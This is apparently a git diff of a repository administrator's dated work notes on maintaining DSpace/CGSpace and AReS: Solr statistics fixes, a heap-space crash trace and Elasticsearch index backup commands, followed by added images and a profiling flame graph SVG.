+$ ./fix-metadata-values.py -i 2020-12-17-update-ILRI-author.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t 'correct' -m 3
+
    +
  • Abenet needed a list of all 2020 outputs from the Livestock CRP that were Limited Access +
      +
    • I exported the community from CGSpace and used csvcut and csvgrep to get a list:
      • +
    +
    • +
+
$ csvcut -c 'dc.identifier.citation[en_US],dc.identifier.uri,dc.identifier.uri[],dc.identifier.uri[en_US],dc.date.issued,dc.date.issued[],dc.date.issued[en_US],cg.identifier.status[en_US]' ~/Downloads/10568-80099.csv | csvgrep -c 'cg.identifier.status[en_US]' -m 'Limited Access' | csvgrep -c 'dc.date.issued' -m 2020 -c 'dc.date.issued[]' -m 2020 -c 'dc.date.issued[en_US]' -m 2020 > /tmp/limited-2020.csv
+

2020-12-18

+
    +
  • I added support for indexing community views and downloads to dspace-statistics-api +
      +
    • I still have to add the API endpoints to make the stats available
      • +
    • Also, I played a little bit with Swagger via falcon-swagger-ui and I think I can get that working for better API documentation / testing
      • +
    +
    • +
  • Atmire sent some feedback on the DeduplicateValuesProcessor +
      +
    • They confirm that it should process all duplicates, not just those in owningComm and owningColl
      • +
    • They asked me to try it again on DSpace Test now that I’ve resync’d the Solr statistics cores from production
      • +
    • I started processing the statistics core on DSpace Test
      • +
    +
    • +
+

2020-12-20

+
    +
  • The DeduplicateValuesProcessor has been running on DSpace Test since two days ago and it almost completed its second twelve-hour run, but crashed near the end:
    • +
+
...
+Run 1 — 100% — 8,230,000/8,239,228 docs — 39s — 9h 8m 31s
+Exception: Java heap space
+java.lang.OutOfMemoryError: Java heap space
+        at java.util.Arrays.copyOfRange(Arrays.java:3664)
+        at java.lang.String.<init>(String.java:207)
+        at org.noggit.CharArr.toString(CharArr.java:164)
+        at org.apache.solr.common.util.JavaBinCodec.readStr(JavaBinCodec.java:599)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:180)
+        at org.apache.solr.common.util.JavaBinCodec.readArray(JavaBinCodec.java:492)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:186)
+        at org.apache.solr.common.util.JavaBinCodec.readSolrDocument(JavaBinCodec.java:360)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:219)
+        at org.apache.solr.common.util.JavaBinCodec.readArray(JavaBinCodec.java:492)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:186)
+        at org.apache.solr.common.util.JavaBinCodec.readSolrDocumentList(JavaBinCodec.java:374)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:221)
+        at org.apache.solr.common.util.JavaBinCodec.readOrderedMap(JavaBinCodec.java:125)
+        at org.apache.solr.common.util.JavaBinCodec.readVal(JavaBinCodec.java:188)
+        at org.apache.solr.common.util.JavaBinCodec.unmarshal(JavaBinCodec.java:116)
+        at org.apache.solr.client.solrj.impl.BinaryResponseParser.processResponse(BinaryResponseParser.java:43)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:528)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.QueryRequest.process(QueryRequest.java:91)
+        at org.apache.solr.client.solrj.SolrServer.query(SolrServer.java:301)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.getNextSetOfSolrDocuments(SourceFile:392)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:157)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • That was with a JVM heap of 512m
    • +
  • I looked in Solr and found dozens of duplicates of each field again… + +
    • +
  • I finished the technical work on adding community and collection support to the DSpace Statistics API +
      +
    • I still need to update the tests as well as the documentation
      • +
    +
    • +
  • I started a harvesting of AReS
    • +
+

2020-12-21

+
    +
  • The AReS harvest finished this morning and I moved the Elasticsearch index manually
    • +
  • First, check the number of records in the temp index to make sure it seems complete and not with double data:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100135,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Then delete the old backup and clone the current items index as a backup:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-2020-12-14?pretty'
+$ curl -X PUT "localhost:9200/openrxv-items/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2020-12-21
+
    +
  • Then delete the current items index and clone it from temp:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items?pretty'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+

2020-12-22

+
    +
  • I finished getting the Swagger UI integrated into the dspace-statistics-api +
      +
    • I can’t figure out how to get it to work on the server without hard-coding all the paths
      • +
    • Falcon is smart about its own routes, so I can retrieve the openapi.json file OK, but the paths in the OpenAPI schema are relative to the base URL, which is dspacetest.cgiar.org
      • +
    +
    • +
  • Abenet told me about a bug with shared links and strange values in the top counters + +
    • +
+

2020-12-23

+
    +
  • Finalize Swagger UI support in the dspace-statistics-api +
      +
    • I had to do some last minute changes to get it to work in both production and local development environments
      • +
    +
    • +
+

2020-12-27

+ +

2020-12-28

+
    +
  • Peter noticed that the Atmire CUA stats on CGSpace weren’t working +
      +
    • I looked in Solr Admin UI and saw that the statistics-2012 core failed to load:
      • +
    +
    • +
+
statistics-2012: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher
+
    +
  • I exported the 2012 stats from the year core and imported them to the main statistics core with solr-import-export-json:
    • +
+
$ chrt -b 0 ./run.sh -s http://localhost:8081/solr/statistics-2012 -a export -o statistics-2012.json -k uid
+$ chrt -b 0 ./run.sh -s http://localhost:8081/solr/statistics -a import -o statistics-2010.json -k uid
+$ curl -s "http://localhost:8081/solr/statistics-2012/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:*</query></delete>"
+
    +
  • I decided to do the same for the remaining 2011, 2014, 2017, and 2019 cores…
    • +
+

2020-12-29

+
    +
  • Start a fresh re-index on AReS, since it’s been over a week since the last time +
      +
    • Before then I cleared the old openrxv-items-temp index and made a backup of the current openrxv-items index:
      • +
    +
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items/_count?q=*&pretty'
+{
+  "count" : 100135,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp?pretty'
+$ curl -X PUT "localhost:9200/openrxv-items/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2020-12-29
+$ curl -X PUT "localhost:9200/openrxv-items/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+

2020-12-30

+
    +
  • The indexing on AReS finished so I cloned the openrxv-items-temp index to openrxv-items and deleted the backup index:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items?pretty'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp?pretty'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2020-12-29?pretty'
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020/02/cgspace-stats-after.png b/docs/2020/02/cgspace-stats-after.png new file mode 100644 index 000000000..850527067 Binary files /dev/null and b/docs/2020/02/cgspace-stats-after.png differ diff --git a/docs/2020/02/cgspace-stats-before.png b/docs/2020/02/cgspace-stats-before.png new file mode 100644 index 000000000..dc0caac85 Binary files /dev/null and b/docs/2020/02/cgspace-stats-before.png differ diff --git a/docs/2020/02/cgspace-stats-years.png b/docs/2020/02/cgspace-stats-years.png new file mode 100644 index 000000000..3216d4a4e Binary files /dev/null and b/docs/2020/02/cgspace-stats-years.png differ diff --git a/docs/2020/02/flamegraph-java-cli-dspace58.svg b/docs/2020/02/flamegraph-java-cli-dspace58.svg new file mode 100644 index 000000000..75ed8cd58 --- /dev/null +++ b/docs/2020/02/flamegraph-java-cli-dspace58.svg @@ -0,0 +1,4200 @@ + + + + + + + + + + + + + + +Flame Graph + +Reset Zoom +Search +ic + + + +do_sys_poll (1 samples, 0.23%) + + + +java/util/regex/Pattern$Curly:::match (2 samples, 0.45%) + + + +call_stub (189 samples, 42.95%) +call_stub + + +org/dspace/app/util/DailyFileAppender:::subAppend (3 samples, 0.68%) + + + +__x64_sys_futex (48 samples, 10.91%) +__x64_sys_futex + + +nf_ct_get_tuple (1 samples, 0.23%) + + + +itable stub (1 samples, 0.23%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (19 samples, 4.32%) +pthre.. + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::isTypeMatch (10 samples, 2.27%) +o.. + + +dequeue_task_fair (1 samples, 0.23%) + + + +java/lang/reflect/Method:::invoke (189 samples, 42.95%) +java/lang/reflect/Method:::invoke + + +sun/nio/cs/UTF_8$Encoder:::encode (3 samples, 0.68%) + + + +do_syscall_64 (8 samples, 1.82%) +d.. + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.23%) + + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +[libjvm.so] (19 samples, 4.32%) +[libj.. + + +JVM_DoPrivileged (1 samples, 0.23%) + + + +entry_SYSCALL_64 (25 samples, 5.68%) +entry_S.. + + +__wake_up_sync_key (2 samples, 0.45%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.23%) + + + +do_syscall_64 (1 samples, 0.23%) + + + +tcp_ack (1 samples, 0.23%) + + + +java/util/regex/Pattern:::atom (1 samples, 0.23%) + + + +tcp_ack (3 samples, 0.68%) + + + +java/lang/StringBuilder:::append (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +__x64_sys_futex (4 samples, 0.91%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (48 samples, 10.91%) +__intel_pmu_enab.. + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getStream (3 samples, 0.68%) + + + +__perf_event_task_sched_in (16 samples, 3.64%) +__pe.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +do_syscall_64 (4 samples, 0.91%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (8 samples, 1.82%) +o.. + + +__x64_sys_futex (4 samples, 0.91%) + + + +update_blocked_averages (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (11 samples, 2.50%) +or.. + + +nft_do_chain (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.23%) + + + +org/springframework/beans/support/ResourceEditorRegistrar:::registerCustomEditors (1 samples, 0.23%) + + + +java/net/SocketInputStream:::read (2 samples, 0.45%) + + + +java/lang/String:::split (1 samples, 0.23%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.23%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::buildDocument (155 samples, 35.23%) +com/atmire/dspace/discovery/AtmireSolrService:::buildDoc.. + + +try_to_wake_up (2 samples, 0.45%) + + + +psi_task_change (1 samples, 0.23%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::indexContent (181 samples, 41.14%) +com/atmire/dspace/discovery/AtmireSolrService:::indexContent + + +[libjvm.so] (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.23%) + + + +JVM_GetStackTraceElement (1 samples, 0.23%) + + + +[libjvm.so] (18 samples, 4.09%) +[lib.. + + +Finalizer (10 samples, 2.27%) +F.. + + +inet6_recvmsg (21 samples, 4.77%) +inet6.. + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.23%) + + + +__memset_avx2_erms (1 samples, 0.23%) + + + +org/dspace/content/Item:::getCollections (4 samples, 0.91%) + + + +Interpreter (1 samples, 0.23%) + + + +java/security/AccessController:::doPrivileged (5 samples, 1.14%) + + + +do_syscall_64 (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getDelegate (19 samples, 4.32%) +org/a.. + + +org/dspace/storage/rdbms/TableRow:::setColumn (4 samples, 0.91%) + + + +entry_SYSCALL_64 (13 samples, 2.95%) +en.. + + +smp_apic_timer_interrupt (1 samples, 0.23%) + + + +enqueue_entity (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +futex_wait_queue_me (19 samples, 4.32%) +futex.. + + +Interpreter (189 samples, 42.95%) +Interpreter + + +do_syscall_64 (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +bbr_cwnd_event (1 samples, 0.23%) + + + +[unknown] (9 samples, 2.05%) +[.. + + +org/dspace/content/Bundle:::getBitstreamsInternal (2 samples, 0.45%) + + + +java/net/SocketTimeoutException:::<init> (1 samples, 0.23%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::getSSLSession (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (2 samples, 0.45%) + + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::keepAlive (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/TableRow:::setColumn (1 samples, 0.23%) + + + +JVM_DoPrivileged (5 samples, 1.14%) + + + +schedule (18 samples, 4.09%) +sche.. + + +nft_do_chain_inet (4 samples, 0.91%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +vtable stub (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/security/AccessController:::doPrivileged (5 samples, 1.14%) + + + +org/apache/http/client/protocol/RequestAddCookies:::process (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.45%) + + + +Interpreter (189 samples, 42.95%) +Interpreter + + +tick_sched_timer (1 samples, 0.23%) + + + +jlong_disjoint_arraycopy (1 samples, 0.23%) + + + +do_syscall_64 (18 samples, 4.09%) +do_s.. + + +[libjvm.so] (2 samples, 0.45%) + + + +java/net/SocketInputStream:::read (2 samples, 0.45%) + + + +java/net/SocketInputStream:::read (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (3 samples, 0.68%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +__x64_sys_recvfrom (21 samples, 4.77%) +__x64.. + + +org/apache/solr/common/SolrDocument:::setField (1 samples, 0.23%) + + + +ip_output (22 samples, 5.00%) +ip_out.. + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (13 samples, 2.95%) +or.. + + +java/lang/ThreadLocal:::getMap (1 samples, 0.23%) + + + +futex_wait_queue_me (25 samples, 5.68%) +futex_w.. + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.45%) + + + +__netif_receive_skb_one_core (16 samples, 3.64%) +__ne.. + + +org/dspace/content/Community:::getParentCommunity (3 samples, 0.68%) + + + +org/dspace/text/filter/LowerCaseAndTrim:::filter (1 samples, 0.23%) + + + +nft_meta_get_eval (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.23%) + + + +__pthread_getspecific (1 samples, 0.23%) + + + +__x64_sys_futex (17 samples, 3.86%) +__x6.. + + +Java_java_io_FileOutputStream_writeBytes (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/util/regex/Pattern$CharProperty:::match (2 samples, 0.45%) + + + +org/apache/commons/logging/impl/WeakHashtable$Referenced:::<init> (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +[libjvm.so] (17 samples, 3.86%) +[lib.. + + +finish_task_switch (48 samples, 10.91%) +finish_task_switch + + +futex_wait (19 samples, 4.32%) +futex.. + + +find_busiest_group (1 samples, 0.23%) + + + +sk_wait_data (19 samples, 4.32%) +sk_wa.. + + +all (440 samples, 100%) + + + +[libjvm.so] (16 samples, 3.64%) +[lib.. + + +do_mprotect_pkey (1 samples, 0.23%) + + + +java/lang/reflect/Proxy:::newProxyInstance (1 samples, 0.23%) + + + +ret_from_intr (1 samples, 0.23%) + + + +ctx_sched_out (1 samples, 0.23%) + + + +irqtime_account_irq (1 samples, 0.23%) + + + +swapgs_restore_regs_and_return_to_usermode (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +schedule (8 samples, 1.82%) +s.. + + +sk_stream_alloc_skb (1 samples, 0.23%) + + + +Interpreter (189 samples, 42.95%) +Interpreter + + +sun/util/calendar/Gregorian:::getCalendarDate (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +JVM_InvokeMethod (189 samples, 42.95%) +JVM_InvokeMethod + + +[libnet.so] (1 samples, 0.23%) + + + +entry_SYSCALL_64 (48 samples, 10.91%) +entry_SYSCALL_64 + + +org/springframework/core/convert/support/GenericConversionService:::addConverter (2 samples, 0.45%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +update_process_times (1 samples, 0.23%) + + + +org/apache/http/message/AbstractHttpMessage:::headerIterator (1 samples, 0.23%) + + + +futex_wait (1 samples, 0.23%) + + + +org/dspace/content/Bundle:::getName (1 samples, 0.23%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::write (2 samples, 0.45%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::getServiceByName (1 samples, 0.23%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (189 samples, 42.95%) +sun/reflect/DelegatingMethodAccessorImpl:::invoke + + +[libjvm.so] (1 samples, 0.23%) + + + +schedule_hrtimeout_range_clock (1 samples, 0.23%) + + + +nf_hook_slow (2 samples, 0.45%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.91%) + + + +__GI___libc_write (1 samples, 0.23%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (2 samples, 0.45%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +pollwake (2 samples, 0.45%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +org/apache/commons/lang/time/FastDateFormat:::getInstance (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +_complete_monitor_locking_Java (1 samples, 0.23%) + + + +__ip_local_out (5 samples, 1.14%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseEntity (1 samples, 0.23%) + + + +tcp_rack_update_reo_wnd (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (2 samples, 0.45%) + + + +org/apache/commons/logging/LogFactory:::getFactory (5 samples, 1.14%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +ip_local_deliver (10 samples, 2.27%) +i.. + + +org/dspace/storage/rdbms/TableRowIterator:::close (1 samples, 0.23%) + + + +jshort_disjoint_arraycopy (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (22 samples, 5.00%) +org/ap.. + + +dev_hard_start_xmit (2 samples, 0.45%) + + + +[unknown] (8 samples, 1.82%) +[.. + + +schedule (1 samples, 0.23%) + + + +tcp_v4_do_rcv (1 samples, 0.23%) + + + +[libjli.so] (189 samples, 42.95%) +[libjli.so] + + +java/net/AbstractPlainSocketImpl:::setOption (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +Interpreter (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.23%) + + + +__vdso_gettimeofday (1 samples, 0.23%) + + + +[libnet.so] (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.23%) + + + +__schedule (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (2 samples, 0.45%) + + + +java/util/regex/Pattern$Curly:::match (2 samples, 0.45%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::encode (1 samples, 0.23%) + + + +native_write_msr (48 samples, 10.91%) +native_write_msr + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingletonNames (1 samples, 0.23%) + + + +apic_timer_interrupt (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +nvme_irq (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.23%) + + + +java/io/FileOutputStream:::write (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::clearParameters (1 samples, 0.23%) + + + +org/apache/log4j/WriterAppender:::subAppend (2 samples, 0.45%) + + + +org/apache/http/impl/client/ClientParamsStack:::getParameter (1 samples, 0.23%) + + + +org/apache/http/message/AbstractHttpMessage:::setParams (1 samples, 0.23%) + + + +handle_edge_irq (1 samples, 0.23%) + + + +call_stub (1 samples, 0.23%) + + + +sun/misc/FloatingDecimal$BinaryToASCIIBuffer:::getChars (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +VM_Periodic_Tas (20 samples, 4.55%) +VM_Pe.. + + +__intel_pmu_enable_all.constprop.0 (16 samples, 3.64%) +__in.. + + +resolve_opt_virtual_call (1 samples, 0.23%) + + + +org/apache/log4j/Category:::info (3 samples, 0.68%) + + + +sock_sendmsg (39 samples, 8.86%) +sock_sendmsg + + +do_syscall_64 (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +flush_tlb_mm_range (1 samples, 0.23%) + + + +java/lang/StringCoding:::decode (1 samples, 0.23%) + + + +[libjvm.so] (19 samples, 4.32%) +[libj.. + + +native_write_msr (12 samples, 2.73%) +na.. + + +change_protection (1 samples, 0.23%) + + + +VM_Thread (20 samples, 4.55%) +VM_Th.. + + +start_thread (2 samples, 0.45%) + + + +handle_irq_event (1 samples, 0.23%) + + + +sock_def_readable (3 samples, 0.68%) + + + +tick_sched_timer (1 samples, 0.23%) + + + +do_syscall_64 (4 samples, 0.91%) + + + +__handle_irq_event_percpu (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/util/regex/Pattern$Curly:::match (2 samples, 0.45%) + + + +__sys_connect (1 samples, 0.23%) + + + +release_sock (1 samples, 0.23%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::write (1 samples, 0.23%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (9 samples, 2.05%) +o.. + + +java/util/LinkedHashMap:::removeEldestEntry (1 samples, 0.23%) + + + +nft_do_chain_inet (1 samples, 0.23%) + + + +schedule_timeout (19 samples, 4.32%) +sched.. + + +[libjvm.so] (1 samples, 0.23%) + + + +java/net/SocketInputStream:::read (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +tcp_recvmsg (21 samples, 4.77%) +tcp_r.. + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +Interpreter (189 samples, 42.95%) +Interpreter + + +[libjvm.so] (1 samples, 0.23%) + + + +nf_nat_inet_fn (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/net/PlainSocketImpl:::socketSetOption0 (1 samples, 0.23%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (2 samples, 0.45%) + + + +org/apache/solr/client/solrj/request/UpdateRequest:::writeXML (18 samples, 4.09%) +org/.. + + +__x64_sys_futex (25 samples, 5.68%) +__x64_s.. + + +__x64_sys_futex (8 samples, 1.82%) +_.. + + +com/atmire/dspace/discovery/ItemCollectionPlugin:::additionalIndex (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (5 samples, 1.14%) + + + +load_balance (1 samples, 0.23%) + + + +org/dspace/browse/SolrBrowseCreateDAO:::additionalIndex (32 samples, 7.27%) +org/dspace.. + + +do_syscall_64 (19 samples, 4.32%) +do_sy.. + + +entry_SYSCALL_64 (4 samples, 0.91%) + + + +__x64_sys_futex (19 samples, 4.32%) +__x64.. + + +[libjvm.so] (1 samples, 0.23%) + + + +Interpreter (189 samples, 42.95%) +Interpreter + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.23%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (8 samples, 1.82%) +p.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (10 samples, 2.27%) +o.. + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +org/dspace/sort/OrderFormat:::makeSortString (4 samples, 0.91%) + + + +_register_finalizer_Java (1 samples, 0.23%) + + + +org/springframework/core/convert/support/DefaultConversionService:::addFallbackConverters (1 samples, 0.23%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (1 samples, 0.23%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +on_each_cpu_cond_mask (1 samples, 0.23%) + + + +jshort_disjoint_arraycopy (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeXML (18 samples, 4.09%) +org/.. + + +finish_task_switch (4 samples, 0.91%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +finish_task_switch (24 samples, 5.45%) +finish_.. + + +org/apache/http/impl/io/ChunkedOutputStream:::flushCacheWithAppend (2 samples, 0.45%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (2 samples, 0.45%) + + + +Ljava/lang/ref/Reference:::tryHandlePending (2 samples, 0.45%) + + + +exit_to_usermode_loop (4 samples, 0.91%) + + + +org/apache/log4j/Category:::callAppenders (3 samples, 0.68%) + + + +futex_wait (4 samples, 0.91%) + + + +java (312 samples, 70.91%) +java + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (2 samples, 0.45%) + + + +java/nio/charset/CharsetEncoder:::encode (1 samples, 0.23%) + + + +java/util/regex/Pattern$Ctype:::isSatisfiedBy (1 samples, 0.23%) + + + +nft_do_chain_inet (1 samples, 0.23%) + + + +call_stub (2 samples, 0.45%) + + + +java/lang/Throwable:::printStackTrace (2 samples, 0.45%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (2 samples, 0.45%) + + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.23%) + + + +finish_task_switch (4 samples, 0.91%) + + + +java/lang/StringBuilder:::append (3 samples, 0.68%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +_register_finalizer_Java (1 samples, 0.23%) + + + +strncpy (1 samples, 0.23%) + + + +java/util/regex/Pattern$Curly:::match0 (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +__intel_pmu_enable_all.constprop.0 (8 samples, 1.82%) +_.. + + 